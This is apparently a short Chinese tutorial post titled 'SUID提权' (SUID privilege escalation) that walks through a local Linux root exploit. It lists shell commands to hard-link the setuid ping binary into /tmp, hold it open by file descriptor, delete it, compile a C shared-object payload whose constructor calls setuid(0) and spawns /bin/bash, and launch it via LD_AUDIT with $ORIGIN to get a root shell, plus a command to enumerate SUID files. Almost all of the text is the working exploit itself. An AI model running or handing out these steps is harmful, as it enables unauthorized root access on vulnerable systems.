SUID提权

浪尽此生 提交于 2019-12-01 16:50:18

查看tmp目录权限
ll -d /tmp

切换到tmp目录
cd /tmp

创建一个exploit目录
mkdir exploit

查看ping命令带suid权限
ll /bin/ping

创建target文件硬链接
ln /bin/ping /tmp/exploit/target

查看target文件权限
ll /tmp/exploit/target

把target文件加载到内存中
exec 3< /tmp/exploit/target

查看target在内存中的情况
"ll /proc/$$/fd/3"

删除target文件
rm -rf /tmp/exploit/

查看target在内存中的情况是删除状态
"ll /proc/$$/fd/3"

创建一个c语言代码
vim payload.c

void __attribute__((constructor)) init()  // 两个下划线
{
     setuid(0);
     system("/bin/bash");
}

利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c

提升到root权限
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

执行完,查看当前会话已经是root
whoami

附:通过以下的命令可以找到系统上所有的设置了suid的文件:
find / -perm -04000 -type f -ls

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!